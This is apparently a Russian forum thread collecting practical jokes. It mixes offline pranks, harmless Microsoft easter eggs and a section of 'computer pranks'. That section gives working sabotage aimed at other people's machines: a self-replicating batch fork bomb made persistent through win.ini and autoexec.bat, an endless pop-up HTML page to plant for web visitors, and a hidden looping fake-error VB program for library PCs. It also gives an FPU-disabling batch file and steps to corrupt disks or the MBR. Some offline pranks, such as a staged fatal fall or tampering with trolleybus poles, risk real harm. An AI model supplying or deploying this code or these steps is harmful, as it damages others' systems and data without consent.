Розыгрыши
 

1. Розыгрыш с яйцом. "Открыть любую дверь. Нужно, чтобы между дверью и косяком, там где петли, можно было просунуть пальцы. Заранее приготовить сырое куриное яйцо. Требуется уговорить "объект" просунуть пальцы в щель и взять ими яйцо. Хорошо, если яйцо будет располагаться с внутренней стороны, и это будет комната "объекта". Яйцо вручить и уйти:.."

2. Розыгрыш с табличками. "В учреждении, где много посетителей, разместить табличку с указанием туалета на двери совершенно другого помещения. Желательно, чтобы работники, находящиеся в этом помещении, как можно реже выходили наружу - так дольше провесит Ваша табличка, и тем дольше работники будут наблюдать стремительно забегающих, столбенеющих и выбегающих людей. Особенно, если поместить указатель женского туалета. Можно изготовить несколько стрелок указателей, чтобы люди находили дорогу к псевдотуалету. Можно вместо надписи "туалет" использовать надпись "буфет" - работникам придётся очень много раз объяснять, что тут не буфет, а например, лаборантская."

3. Розыгрыш с верёвкой. "Взять длинную верёвку и найти небольшой отдельно стоящий дом. Проходящего мимо человека попросить под любым предлогом подержать конец верёвки. С другим концом верёвки отправиться вокруг дома и, обойдя почти полностью, попросить другого человека подержать уже этот конец верёвки. Верёвку попросить сильно натянуть и уйти. Что получается? Эти люди друг друга не видят , им мешает угол ( вы видите их обоих ), и верёвку они бросить не могут - ведь их попросили подержать. Чем это кончится? Попробуйте, узнаете."

4. Розыгрыш по телефону. "Допустим, в Вашем коллективе появилась новая молоденькая секретарша. Зрители, посвящённые в розыгрыш, наблюдают за её поведением. Кто-либо из соседней комнаты звонит секретарю и как можно более серьёзным голосом сообщает о том, что звонят с телефонной станции, и сейчас в целях очистки проводов по телефонному каналу будет подан горячий пар под давлением. Поэтому нужно очень быстро закутать все телефонные трубки в офисе полиэтиленом или бумагой (или положить их на пол). Все сидят и смотрят: Самое главное - произнести это серьёзно и быстро. Ну и секретарша должна быть достаточно доверчивой."

5. Розыгрыш с "манекеном". "Выбрать "объект" розыгрыша. Это может быть сосед или соседка по комнате или кабинету. Комната должна находиться минимум на 2 этаже. На глазах "объекта" необходимо некоторое время просидеть у открытого окна на подоконнике. В какой-то момент, когда "объект" не смотрит на вас, вы должны спрятаться или бесшумно покинуть комнату. Одновременно с этим ваш помощник на улице под окном выкладывает чучело - одежда как у вас набита бумагой для объёма (яркая майка и т.д.) - и фанеру под цвет асфальта с нарисованным пятном "крови". Затем он кричит ваше имя со словами : "Разбился, разбился, помогите::.". Помощник, находящийся в комнате, и "объект" подбегают к окну и видят ваше тело на асфальте. Помощник предлагает спуститься и помочь вам, если это ещё возможно. Когда они убегают, вы возвращаетесь в комнату на своё место и сидите как ни в чём не бывало. Пока "объект" бежит вниз, "тело" и фанера убираются. "Объект" ничего не понимает. Помощник говорит, что тело, наверное, уже убрали. Они возвращаются в комнату, и "объект" видит вас - немая сцена::.."

6. Розыгрыш с сухим льдом. "Взять тазик горячей воды, вылить туда бутылку шампуни и бросить сухой лёд. Сам не пробовал, но говорят пены очень, очень, очень много - может заполнить и комнату вашего соседа. Представляете картину?"

7. Розыгрыш с присыпкой. "Ваш сосед находится в комнате. Временно заблокировать его дверь так, чтобы он не смог выйти. Заполнить трубку подходящего размера детской присыпкой. Один конец трубки подставить под дверь или к щели в косяке, а другой подставить к фену. Фен включить, и полная комната присыпки готова."

8. Розыгрыш с кроватью. "В общежитии или в казарме. Пока человек спит вынести его на кровати в туалет. По команде "подъём" он вскакивает, а вокруг одни унитазы: И одежды нет."

9. Розыгрыш со снежком. "Скатать огромный снежок и с помощью помощников на простыне затащить в комнату (кабинет) "объекта" незадолго до его прихода. Вытащить снежок целиком он не сможет, а снежок-то тает:.."

10. Розыгрыш в метро. "Группа людей заходят в один вагон метрополитена. Все заходят так, чтобы никто не заподозрил что они вместе. Через какое-то время, как поезд отъедет от станции, один из вошедших подходит к кнопке связи с машинистом, делает вид что нажимает ее и говорит так, чтобы слышало как можно больше народу: "Гамбургер и большую Кока-колу в вагон номер ____ " (номер вагона написан рядом с кнопкой). Сказав это, он просто становится и ждет следующей станции. На следующей станции в этот вагон заходит еще один человек (желательно в майке или кепке Кока-кола) и спрашивает громко: "Кто заказывал гамбургер и Кока-колу". Тот человек, который заказывал, подходит, забирает "заказ", быстро рассчитывается и едет дальше. Тот, который принес заказ, должен успеть выйти на этой станции. Поезд трогается. Человек снова подходит к кнопке и говорит: "До конечной без остановки". Реакция у пассажиров просто неописуемая."

11. Розыгрыш "Тест на трезвость". "Вот один старый простенький розыгрыш. Возвращаясь в компании домой после вечеринки (желательно на людной улице), заводится спор - кто из членов компании наиболее трезв. Выбранной жертве розыгрыша предлагается сделать ровную (надо подчеркнуть, что РОВНУЮ) ласточку (надеюсь, что это за фигура - понятно). После того, как жертва старательно сделает то, что от нее требуют, нужно объявить, что он (она) абсолютно пьян. В ответ на недоуменные восклицания жертвы объясните, что трезвый человек никогда не станет делать такое в людном месте. Сам я много раз проводил этот розыгрыш и только один раз объект розыгрыша смертельно обиделся - в компании была девушка, на которую тот хотел произвести впечатление. Произвел, конечно".

12. Розыгрыш с дрелью. "Значит так: Ищем объект для прикола, берем электродрель и пару раз запускаем ее на глазах у объекта, дабы привлечь его внимание... Потом заходим за спину, пускаем электродрель и тыкаем пальцем в спину объекту... Когда мне такое сделали, я сначала прыгнул метра на 2, потом минут 30 отходил :)"

13. Розыгрыш с кастрюлей В кастрюльку наливается вода, закрывается сверху листом бумаги, переворачивается вверх дном, ставится на ровный пол или даже лучше стол, бумага вытаскивается. Вода не вытекает. Жертва видит бесхозную (мешающую) кастрюлю и поднимает с понятным результатом. В качестве варианта вместо кастрюли берется стеклянная банка литра на 3-5 и ставится там, где это помешает потенциальной жертве, которая видит воду и просто приходится ломать голову как обойтись с наименьшими жертвами. При этом наиболее сложно убрать с пола. Насчет приклеивания тапочек к полу, коврику, пришивания одеяла к матрасу у спящего товарища я и не говорю. Как-то упустил офисный вариант - принцип тот же, но, например, с непрозрачным стаканчиком и на стол любимой секретарше

14. Розыгрыш с кабачковой икрой Группа пеших туристов останавливается на обед. В это время инструктор уходит метров на 500 вперед по тропе и вываливает на пути группы на землю банку кабачковой икры, налепив на нее клочки туалетной бумаги. Группа, отдохнув, выходит на маршрут. Инструктор идет не впереди, а где-то в серединке. Когда впередиидущие брезгливо переступают через эту кучку, инструктор расталкивая клиентов, с воплем СВЕЖАТИНА!!!!!!!! вытаскивает ложку и, разбросав бумажки начинает кушать. Эффект поразителен.

15. Воспитательный розыгрыш. Значит так, выбираем человека, который находится постоянно рядом с вами (жена, муж, брат, сестра, тесть, теща, отец, мать и т.д.). Обязательным условием является рассеянность этого человека. То есть, он является превосходным кандидатом для розыгрыша, если постоянно забывает в самых неожиданных местах свои мелкие вещи -- очки, заколки, перчатки, расчески и т.д. Естественно, что очень часто он их разыскивает и всех окружающих донимает вопросами типа "вы не видели мои очки (кошелек, ключи, ...) ?". Вот тут-то вы, как добрый самаритянин, и советуете ему заглянуть в какое-нибудь самое неподходящее для розысков место. Я, например, советую заглянуть в морозилку :) Естественно, что "жертва" понимает, что над ней прикалываются и не внимает вашим советам. Но после десятка таких прецедентов эта фраза уже врезается ей в память, и, когда все места обысканы, а потерянная вещь так и не найдена, то начинает заглядывать и в холодильник. И вот только после этого можно считать, что фундамент для прикола подготовлен и можно начинать свой прикол. Как только вы обнаруживаете забытую в неподходящем месте вещь "жертвы", вы берете и кладете эту вещь туда, где вы советовали ее искать. Рано или поздно "жертва" начинает розыски и, о чудо, она находит ее именно там, где вы ее и положили :) Естественно, не понимая как эта вещь там оказалась, "жертва" в конце концов начинает все розыски именно с этого места. Теперь представьте реакцию окружающих, наблюдающих как "жертва" в поисках потерянной расчески роется в холодильнике... Как вариант, эту вещь могут обнаружить другие люди и, абсолютно недоумевая как она могла ТАМ очутиться, вернуть ее "жертве" со словами типа "ну ты даешь... Положительный эффект от этого прикола состоит в том, что рано или поздно "жертва" начинает следить за своими вещами и не оставляет их в случайных местах.

16. С хлопушкой. "В детстве с друзьями мы разыгрывали соседей так. Привязывали хлопушку к перилам и дверной ручке и звонили в дверь. Результат можно наблюдать в дверной глазок - только не лопните от смеха, чтобы не попасться. Как правило, соседи в течении часа или двух после этого затаившись стоят за дверью и через каждые пять минут выбегают во двор в надежде поймать шутников."

17. С ниткой В кровать жертвы под простыню зигзагообразным методом укладывается нитка. Другой конец протягивается за дверь так, чтобы при натяжении нитка не поднималась и ее не было видно. Когда вечером жертва ложится в кровать, нитка потихоньку вытаскивается (ощущение шевелящегося насекомого)

18. Розыгрыш с брюками "Мою подругу попросил один знакомый подшить джинсы ( достаточно дорогие ). И т.к. подшивать надо было много ( он маленький и толстенький ), он попросил лишнюю ткань отрезать. Замерили они вместе сколько укорачивать, и моя подруга пошла к себе домой обрезать и подшивать. На следующий день я и моя подруга вместе с укороченными джинсами пошли к этому товарищу. Пришли, отдали джинсы и попросили сразу померить. Этот товарищ уходит в соседнюю комнату, одевает там джинсы и через некоторое время возвращается в страшном смятении. Оказывается, обе штанины короче чем надо см. на 20: получились эдакие бриджи. Моя подруга, когда видит это, падает на диван в предобмарочном состоянии - штаны она испортила, а ей на такие и за два месяца не заработать. И вдруг я вижу, что этот друг начинает смеяться - оказывается он просто загнул внутрь штанины. Над нами он, конечно, подшутил, но теперь моя подруга у него даже носовой платок подшить не возьмёт. И вообще она при слове "подшить" вздрагивать стала."

19. Телефон под током " Звонишь кому-нибудь и просишь, что бы не отвечали на телефонные звонки в течении 10 мин, т.к. на линии работает телефонист и его может ударить током. Через несколько минут перезваниваешь по этому же номеру , и если поднимают трубку, издайте душераздирающий вопль..."

20. Розыгрыш со спичками В бесснежное время года, в тесной компании (лучше, если эту шутку знает как можно меньше народу) выбрать жертву. Поставить ее посередине чего-либо (комнаты, кухни, сарая, лесной поляны, озера - где собственно все и собрались). Попросить вытянуть вперед руки, и в каждую руку, между большим и указательным пальцем дать по спичке головкой вниз. А потом еще по одной спичке положить под носок ботинка или туфельки таким образом, чтобы больше половины спички торчало вперед. И спросить: - Какой сейчас месяц? - ........ - бодро ответит жертва. - А почему ты на лыжах????? Эффект просто поразительный!!!! Несколько минут смеха обеспечено!

ГЫ.... а потом жалуемся на слабое сердце =)))

Себе такого не пожелаешь... но для других, всегда пожалуйста!!!!

веселуха... типа круто. Попробовать надо будет ...

ПЕРВАЯ БРАЧНАЯ НОЧЬ
"Этот розыгрыш годится как для трезвой, а лучше не совсем трезвой компании.
Инициатор конкурса предлагает кому либо из присутствующих проверить
координацию (степень опьянения, глазомер и т.д.). На листе бумаги ставятся
пять точек , образующих квадрат с точкой внутри (примерно, как сложенный по
чтовый конверт). Лист ложится на стол, напротив ставится зеркало , и
подопытному предлагается, глядя на отражение листа в зеркале, соединить все
точки между собой, по возможности не разорвав линию (это не так просто, как
вы думаете, даже трезвому :)). Чтобы жертва эксперимента не подсматривала,
кто-либо из зрителей закрывает листом бумаги сам рисунок так, чтобы было
видно только отражение. В процессе рисования жертва честно старается
провести линии поровнее и издает самые разнообразные звуки,
свидетельствующие о трудности задания типа: "Не попал..., Опять не попал...
Чего ржете, сами попробуйте..., Трудно, вспотел даже ...и т.д.". Задача
ведущего записать все фразы, слова, предложения и звуки, которые издает
испытуемый, и по окончании зачитать все вслух под заголовком "Как И.
(испытуемый) провел первую брачную ночь". Обычно все заканчивается всеобщим
посмешищем, после чего ищется очередной доброволец, а количество зрителей
увеличивается на 1. А так как зрители уже в курсе дела, то каждая фраза
нового добровольца приветствуется всеобщим ржанием.
p.s. Бывает ТАКОЕ услышишь ;-)"

Компьютерные приколы, розыгрыши, etc.
 

В этом топике выкладываются в виде аттачей либо советов всевозможные шутки, приколы, розыгрыши и т.п. которые могут помочь поднять настроения Вам и Вашим коллегам по работе, знакомым, крутым доморещенным кулхацкерам и прочей публике постоянно ошивающейся у компа!

Внимание:
Вся информация выкладывемая в этом топике не должна реально угрожать работоспособности и информации хранящейся на компутере! Либо при выкладывании подобных советов, прог, etc, необходимо предупреждать о возможном вреде и по возможности указывать способы избавления в случае их НЕочевидности!!!

По утверждению автора, после импорта данного reg файла комп может быть выключен только посредством кнопки Reset ;)))
Сам не пробовал, ничего не обещаю...

ЗЫ Для нормальной работы под 98/Ме исправьте путь:
[HKEY_CURRENT_USER\Software\Microsoft\windows\
CurrentVersion\Policies\Explorer]

Пасибо Маску ;))

Футки с рекурсией...
 

Так вот, рекурсия - это когда кто-нибудь вызывает сам себя. Например: запускаешь две Аськи у себя на компе (русскую и английскую, чтобы друг друга не видели) и начинаешь сам себе мессаги слать. Но я не о том. Ты, конечно же, знаешь, что всеми любимый MustDie очень требователен к железу (и вообще к ресурсам компа), так вот, используя рекурсию, мы поставим MD на колени.

1. Ну, для разминочки делаем на винте файл с именем "die.bat" и пишем в него следующие пять строчек:

@echo off

:metka

@start die.bat

@echo -----NAME RULEZZZzzz FOREVER-----

@goto metka

Где NAME - это твое имя. Хочешь посмотреть, что будет? Мой тебе совет, перед запуском этого файла сохрани все важные документы, а то, не дай Гейтс, все сотрешь. И еще, если скопировать этот файл в каталог Форточек и в файле "win.ini", в самом начале, после строчки "[windows]", написать команду "run=die.bat", то этот файл будет загружаться при каждом запуске Форточек.

2. Если добавить пару строчек в этот файлик:

@echo off

@echo -----NAME RULEZZZzzz FOREVER-----

@echo @echo off >> c:\autoexec.bat

@echo :metka >> c:\autoexec.bat

@echo @start c:\autoexec.bat >> c:\autoexec.bat

@echo @goto metka >> c:\autoexec.bat

И запустить его, то после перезагрузки компа ты больше никогда не кликнешь на этой прекрасной кнопке "Пуск" и не подвинешь курсор мыши к кнопке закрытия окна...

3. Но это все отстой! Попробуй-ка это:

<script> </p>
<p>now(); </p>
<p>function now(){for (i=1;i>0;i++){open('die.htm','new'+i);}} </p>
<p></script>

Сохрани эту чушь под именем "die.htm" и посмотри, как корчится твой броузер, пытаясь открыть очередное окно :). Кстати, если у тебя есть своя страничка в инете, можешь прикольнуться написав чего-нибудь типа "ПОСТОРОННИМ ВХОД ВОСПРЕЩЕН" и поставив ссылку на этот файл. Любопытный юзверь ломанется туда, а там опа... и все...


ПыСы: Не помню кто писал и откуда взято, но также сам не пробовал... ОС 9х/Ме

Прикольно, попробую обязательно (на работе).Гы

Mетод нумбер один - программный:

Если на экране появляется мессага с предупреждением и непонятными символами, то глупый юзверь думает, что винды глючат :)
Пишем маленькую прогу на VB, так как VB стоит почти во всех универах на всех компах. Ибо VB помогает познать глючный и тормозной мир виндов :)

Private Sub UserForm_Activate()
10 MsgBox ("CPU Fatal Error!"), vbCritical
goto 10
End Sub

Просто и коварно одновременно если кинешь ты енту прогу в автозагрузку или писанешь в реестр. Вешаешь прогу в библиотеке или в компутерном классе и через пару дней они завоют, Я тебе обещаю :) и позовут сисадмина, который это удалит. Надо позаботиться теперь о ламеростойкости нашей проги. Не забудь убрать ее из панели задач. Для этого в свойствах формы поставь ShowInTaskBar = False и спрячь форму. Для этого в свойствах формы измени Form.Visible = True на False.

Метод нумбер два - да поможет нам винда!
Лезем в Internet Options и там мы делаем следующее:

1. В последней закладке все делаем наоборот, т.е., где галочка там не галочка, а где не галочка там галочка :). Или делаем, чтоб не грузились картинки, нечего на порнуху глазеть ламухам.
2. Можешь сменить адрес вашего прокси и, когда ламухи обломаются и разбегутся, спокойно сядь за пустой комп, смени проксю назад и спокойно лезь в инет.
3. На загрузку в браузере поставь сайт с реальной порнухой можно не с людьми :)
4. Просто удали Експлорер.
Предупреждение! Не переборщи и не комбинируй методы.

Nymph
Ты прям диверсант какой-то, ;-)))

Nymph
Жестоко.... но весело )))))

1) Всё начинается как всегда с HKEY_LOCAL_MACHINE/System/CurrentControlSet/control/Shutdown вы, наверно, уже поняли, о чем будет разговор.

Конечно, все связанное с выключением нашей железяки (гы-гы-гы) :) в строковом параметре FastReboot стоит значение "0". Ну не долго думая, меняем его на "1" и получаем интересную историю. Когда мы будем делать компутеру Shut Down :o (в переводе с буржуйского - СПАТЬ!!!), он будет перезагружаться.


2) Если у вас стоит Win98, то екстрактаете RESTART.COM из c:\_windir_\command\ebd.cab\ и ставите его первой строкой в AUTOEXECе, после чего делаете его READ ONLY


3) Записываем прогу в MBR, ставим jmp на конец придельно допустимого сигмента памяти в досе, и ваш компьютер даже после формата винта будет перегружаться пожизненно... !!!


4) В system.ini в строчке mouse.drv=mouse.drv удаляем вторую половину и оставляем вот так mouse.drv= Эффект тот же ShutDown. Но гораздо злее.......... Под вынь98 работает безотказно.


5) Прикол с винтом. Во многих школах обычно стоят древние компы с Windows 95 (Fat-16). Соответственно грех этим не воспользоваться :). Для западла понадобится только встроенная программа форточки DriveSpace ("Сжатие диска"). Запускаешь это прогу на уплотнение диска. А когда процесс уплотнения будет в разгаре, просто ненавязчиво ткни на Reset :). Долгий полет винта обеспечен :)).


6) Шутка с ресетом неплохая, но не всегда срабатывает. Для профилактики надо во время процесса достать шнур из розетки, выключить комп, затем вставить и включить. Эффект тот же, что и выключенного компа при формате.


7) Во время оптимизации реестра под досом нажать RESET - эффект такой-жа, тока возни потом больше. З.Ы. проверено электроникой:)

Не каждому ламеру известно, что у него в компе есть математический сопроцессор (FPU). Эта хрень отвечает за выполнение операций с плавающей точкой. Не вдаваясь в подробности, скажу, что если FPU отключить твоему заклятому другу (или себе, если ты мазохист), то он получит незабываемые ощущения, а теперь конкретнее: в Win95 - иногда вылетает синий экран с сообщениями об ошибках; игры тормозят зверски (особенно 3D); DOS проги не запускаются вообще; эффекты такие, будто частота проца уменьшилась в два раза, в общем глюки :). В Win98 - все тоже самое, но нет синих экранов :).

Как это делается? Есть два пути:

1) Изменяем параметры в Панель управления -> Система -> Сопроцессор -> Включаем режим "не использовать". Но это гиморно и не по-хацкерски :).

2) Помещаем в System.ini строчки:

[MathCoprocessor]
FPUFlags=2

3) А теперь чиста хацкерский вариант :). Пишем батник и подсовываем его другу:

@echo off
ren %windir%\system.ini s
echo [MathCoprocessor] > %windir%\y
echo FPUFlags=2 >> %windir%\y
echo >> %windir%\y
copy %windir%\y /a +%windir%\s /a %windir%\system.ini > nul
del %windir%\s
del %windir%\y

Обязательно останься и посмотри, как твой друг будет радоваться ускорению работы компа :).

Скрытые возможности продуктов от M$
 

1) Классический прикол, срабатывающий на тех, кто уже знает кнопку "Пуск" ("Start"), но не знает всех особенностей Windows 95...
Когда этот самый новичок в мире Windows 95 на минуту уйдет в другую комнату, вы быстро подбегаете к его компьютеру, выделяете (но не нажимаете) кнопку "Пуск", жмете ALT +"минус" и... "Закрыть". Дальше вы возвращаетесь на исходную позицию, и наблюдаете за реакцией новичка... Кнопка вернется на место только после перезагрузки Windows'a.


2) Далее следует прикол, более сложный в исполнении:
На рабочем столе создайте папку с именем New Folder. Переименуйте ее в and now, the moment you've been all waiting for. Еще раз переименуйте ее в we proudly present for your viewing pleasure.
И снова переименуйте в The Microsoft Windows 95 Product Team!. Теперь откройте папку и наслаждайтесь именами тех, кто создал "сверх устойчивую систему". По моему, стабильность системы прямо пропорциональна количеству приколов, намертво вшитих в нее.

3) Неплохо работала фантазия и у тех, кто создавал хранители экрана для Windows 95 и NT. В основном приколы зарыты в хранителе экрана "Объемный текст" ("3D text"):
В зависимости от версии Windows 3D Text реагирует на следующие "волшебные" слова, заданные в качестве текста для отображения: I love NT (в версии 3.51), not evil (в версии 4.0), volcano (Windows 95 и NT), BEER и Rock (в версии 3.51).

4) Но есть прикол и для хранителя экрана под названием "Трубопровод":
Если для Windows NT в этом хранителе экрана задать параметр "чередующиеся сочленения", то переодически вместо соединения будет появляться чайник. Интересно, к чему бы это?

В Windows 95 этот трюк тоже проходит, если помимо "чередующегося сочленения" поставить параметр "число труб" в значение "несколько".

Microsoft Office

Панель Mocrosoft Office 95:

Установите стрелку курсора на маленький логотип в верхнем левом углу и нажмите правую кнопку мышы. В появившемся меню выберете "О панели Microsoft Office". На экране появится окошко с информацией о лицензии на продукт. Удерживая CTRL и SHIFT, дважды щелкните по логотипу. Щелкните еще раз по появившейся заставке, и обратите внимание на изменения регистрационных данных.

В Office 97 выше описанное не срабатывает. Видимо, программеры занялись более интересными приколами...

2) В Word 95 создайте новый документ и наберите в нем слово "Blue", теперь измените шрифт этого слова на полужирный и синий. Выделите пробел после набранного слова, в меню справки войдите в пункт "О Программе" и щелкните левой кнопкой мыши по логотипу в открывшимся окне.
В Word 97 это тоже срабатывает, но вызывает более крутой эффект. Но для этого требуется установленный DirectX.

3) В новом документе напечатайте =rand() и следуйте дальнейшим указаниям

4) Есть в Word 97 и пикантная шутка:
Наберите в документе слово zzzz и нажмите пробел. Слово, естественно, подчеркнется красной волнистой линией. Теперь нажмите на правую кнопку мыши и посмотрите на предлагаемую замену.

1) В Excel 95 создайте новую таблицу, перейдите на 95-ю строку, выделите ее и нажмите Tab. В меню "помощь" войдите в пункт "О программе", и удерживая CTRL и SHIFT, щелкните по кнопке "Поддержка".
ДОБРО ПОЖАЛОВАТЬ В MICROSOFT DOOM!

2) Есть слово-ключ, открывающий стену. Это слово - EXCELKFA.

3) В Excel 97 тоже не обошлось без фокусов. Итак, в чистой таблице нажмите клавишу F5, введите в строку ссылки значение x97:l97 и нажмите Enter. Теперь нажмите клавишу Tab и, удерживая CTRL и SHIFT щелкните по пиктограмме "мастер диаграмм".

4) В Excel 5.0 для знакомства с разработчиками нужно проделать следующие операции:

1. Сразу после запуска программы установить стрелку курсора на свободное место инструментальной
панели (Toolbar) и, щелкнув правой кнопкой мыши, выбрать пункт меню. Настройка..
2. Выбрать из списка категорий .Пользовательские. и перетащить пиктограмму с изображением карточной колоды в любую ячейку таблицы.
3. Отказаться от назначения макроса, закрыв возникшую диалоговую панель с помощью кнопки .Отмена. (Cancel).
4. Закрыть диалог настроек.
5. Удерживая клавиши <Ctrl>, <Alt> и < Shift>, щелкнуть левой кнопкой мыши по вставленной пиктограмме.

Перейдем к Microsoft Access...

1) Запустите Microsoft Access 95 или 97 и создайте новую базу данных. Выберите закладку "Макросы" и щелкните по кнопке "Создать", далее нажмите на клавишу "пробел" и закройте окно. На запрос о сохранении макроса ответьте утвердительно, назвав его "Magic Eight Ball".
Из ниспадающего меню "Вид" выберите пункт "Панель инструментов", а затем "Настройка". В появившейся диалоговой панели перейдите
к закладке "Команды" и выберите из списка категорий строку "Все макросы". В соседнем окошке появится название вашей макрокоманды. Перетащите ее на инстру ментальную панель Access. Не закрывая панели настроек, щелкните правой кнопкой мыши на вновь появившейся в панели инструментов пиктограмме, а затем на команде меню "Выбрать значок для кнопки". Из предложенной палитры изображений следует выбрать черный шар с цифрой "8". Закройте панель настроек. Предельно сконцентрируйтесь и мысленно пошлите компьютеру вопрос, который вас больше всего волнует в настоящий момент. Щелкните по
пиктограмме с волшебным шаром, и вы получите исчерпывающий ответ.


2) Следующей на очереди стоит программа подготовки презентаций Microsoft PowerPoint.

В обеих версиях - 95 и 97 - увидеть титры предельно просто. Для этого достаточно, выбрав из меню помощи пункт "О программе", щелкнуть левой кнопкой мыши по логотипу, находящемуся в верхнем левом углу. Вот так, простенько и со вкусом, ибо в оформлении этой встроенной .презентации. явно
чувствуется рука профессионального дизайнера. Кстати, с помощью клавиш управления курсором можно менять скорость прокрутки и размер надписей.

В Internet Explorer тоже, как оказалось, есть свои приколы. Программисты и здесь решили не поступаться своим принципам:

1) Загрузите Internet Explorer 4.0, войдите в справку и дальше в пункт "О программе".Возникнет соответствующее окошко. Удерживая клавишу CTRL захватите правой кнопкой мыши значек "е" в верхнем правом углу и сделайте несколько витков вокруг земного шара. Надпись "Internet Explorer" отодвинется, представив вашему взору кнопку. Нажмите ее, переместите значек "е" на земной шар и наслаждайтесь зрелищем!

2) Microsoft Outlook 97 решил подойти к приколам со стороны Интернет-технологий:

Создайте контакт с Ren Hoek. Выделите эту запись в папке контактов, войдите в меню "Помощь", "О программе", и, удерживая нажатыми Ctrl, Alt и Shift, нажмите на кнопку ОК.

3) Создайте новое сообщение, перейдите в окно для текста. Убедитесь, что в меню "формат" установлена опция HTML. Теперь в окошке выбора шрифта наберите слово "athena" и нажмите ENTER. Затем перейдите в основное окно Outlook Express и щелкните по надписи "Outlook Express", находящейся в
вершине дерева папок. Теперь щелкните на свободном белом поле картинки из правого окна и наберите с клавиатуры слово "about".

Пасхальное яйцо Windows 98
 

Давно известно, что в каждой программе Microsoft есть
какая-нибудь потайная дверца, за которой таится что-нибудь
вроде OpenGL аналога Quake или как минимум картинная галерея.

Windows 98, разумеется, не исключение. Для того чтобы воочию
убедиться в этом нужно сделать примерно следующее:

На рабочем столе создать ярлык, в командной строке вписать
буквально следующее:

"C:\WINDOWS\Application Data\Microsoft\WELCOME\WELDATA.EXE" You_are_a_real_rascal

Разумеется, что вместо C:\WINDOWS следует подставить именно
тот каталог в который вы установили Windows 98.

В свойствах ярлыка нужно указать, что приложение должно запускаться
"Свернутым в значок"

Все, можно запускать. Теперь вы понимаете, почему Windows 98 столько
занимает на диске?

Windows 98

Хотите увидеть имена всех разработчиков в скринсейвере:
1. Откройте свойства Экрана/Заставка
2. Выберите "Объемный текст"
3. Нажмите кнопка "Настройка" и в поле Текст введите Volcano.

Все можете наслаждасться. ENJOY!

Я вот думаю, а если в розыгрыше 14, про инструктора и кабачковую икру, он наколется, и не икру начнет хавать???

Если в комнате вашего коллеги или соседа по общежитию дверь открывается наружу, то возможен такой розыгрыш. Нужно соединить все возможные предметы: книги, ручки, лёгкие предметы мебели и т.д. с помощью ниток с ручкой двери. "Жертва" открывает дверь, и все предметы улетают со своих мест. Полный разгром. Единственная сложность - выйти из комнаты, подцепив нитки к ручке и не потревожив предметы.

Хороший розыгрыш оформляемый в виде игры. Хорошо проводить на природе при численности более 7 человек. Ведущий выбирает двух человек (допустим Вася и Петя) незнающих суть прикола. Эти двое отводятся в сторону на такое расстояние, чтобы они не могли услышать суть. Приводят по одному (скажем Васю). Васе объясняется, что в толпе загадали "кабардинского козла", и ему надо отгадать кто это. Ведущий громко объявляет: "Кто из нас кабардинский козел?". Все со всей мочи орут: "Я!". Ведущий объясняет Васе, что кто громче орет тот и есть "кабардинский козел" (при необходимости эта процедура повторяется). Вася указывает на кого-либо. Все соглашаются, что он угадал (соглашаются не зависимо на кого он указал, так как никакого козла и не загадывали) хвалят его и предлагают присоединиться. Вот тут и начинается весь спектакль. Теперь действительно якобы выбирается "кабардинский козел" (можно даже Васю). И Васе говорят что он тоже со всеми должен орать "Я". Приводят Петю. Также объясняют ему правила. Ведущий опять громко спрашивает: "Кто из нас Кабардинский козел?". И тут слышится громкий крик Васи "Я!" (Все остальные предупреждены, что второй раз не кричим).

В студенчестве стояли как то на остановке и ждали троллейбус. Народу собралось намеренно, не влезут и в три троллейбуса. Наконец подъезжает наш хваленый общественный транспорт. Все бросаются на штурм дверей, и тут слышится полная недоумения (но достаточно громкая) фраза "Ну надо же… Голые со знаменем…". Весь народ забывает про троллейбус и начинает озираться… А три студента тем временем свободно пролазят в троллейбус да еще и занимают места.

Для розыгрыша нужна оранжевая жилетка (как у дорожных рабочих) и строительные рукавицы. В час пик подойти к троллейбусу сзади и потянуть на себя вниз верёвки с помощью которых регулируют контактные штанги ("усы"). Попросить какого либо прохожего подержать веревки пока вы будете регулировать что-то там в кабине. Ваш внешний вид не вызывает сомнений в том, что вы - водитель. Ооооочень быстро удалиться на безопасное расстояние. Гнев настоящих водителей ужасен.

Еще один розыгрыш в виде игры… Чем больше народу тем получается интереснее. Выбирается два человека (парень и девушка) не знающих о приколе. Ведущий отводит их в сторону и объясняет, что якобы они должны представить, что недавно летали вместе на луну и сейчас им нужно отвечать с юмором на вопросы остальных об этом полете. Остальным же говорится, что сейчас придет пара молодоженов и ответит вам на вопросы о своей первой брачной ночи (естественно публике объясняется что этой паре объяснили совсем другое). Так вот весь прикол в вопросах. Они должны все быть двусмысленными :). Еще раз поясню, что полетом публика и называет их "невинные забавы". И идут вопросы типа: "Какие осложнения были в полете?"… "Сколько стыковок произвели?"… "Сколько человек в экипаже?"… "Транслировали ли полет по телевизору?"… И тому подобное (тут дается воля фантазии). Ну и слушаем ответы ничего не понимающей пары… 15 минут гомерического хохота Вам обеспечены :). В конце концов паре объявляется фраза которая все расставляет для них на места: "Поздравляем вас молодожены с окончанием первой брачной ночи". Самое интересное, что обычно эта пара растерянно смотрит на всех и не может понять почему все так угарают...

Двое людей одеваются более или менее одинаково, затем располагаются на двух соседних остановках, например, троллейбусных. Затем людям в троллейбусе на первой остановке предстает такая картина: парень бежит за уже отправляющимся троллейбусом и, естественно, не успевает. На следующей же остановке в открытые двери врывается вроде бы тот же самый тип с жуткой одышкой и словами вроде: "Еле догнал!!!" Впечатление производит неизгладимое.

Розыгрыш довольно старый, но начинающего юзера им вполне можно разыграть, а иногда на него может купиться и бывалый компьютерщик :). Идея такова: ждем, когда разыгрываемый отойдет по какому-либо поводу от компьютера, затем открываем на рабочем столе какое-нибудь приложение, например, "Лазерный проигрыватель" или папку, но не на весь экран, а где-нибудь в центре (лучше, чтобы окно не попадало на иконки на рабочем столе). Жмем клавишу Print Screen на клавиатуре и закрываем приложение. Потом открываем графический редактор Paint и выбираем из меню "Вставить". Скриншот с экрана загрузится в редактор. Сохраняем его куда-нибудь в C:\WINDOWS\ под каким-либо именем и выбираем "Заполнить рабочий стол Windows". Закрываем Paint, теперь в качестве обоев у разыгрываемого стоит изображение его же рабочего стола с раскрытым окном посередине :). Увидев это, жертва пытается закрыть окно (естественно, неудачно) и в конечном итоге со словами "Опять Винда повисла!!! %#@^%$#" перезагружает машину. И каково же будет её удивление, когда ненавистное окно появится на экране снова ;-)."

Элементарный розыгрыш, дающий, тем не менее замечательный эффект... Из разряда приколов над юзерами... Суть розыгрыша очень проста. Заходим в настройки Windows. Затем в пункт "Мышь". И меняем местами кнопки мыши. Затем наслаждаемся зрелищем, после того как юзерр вернется :)

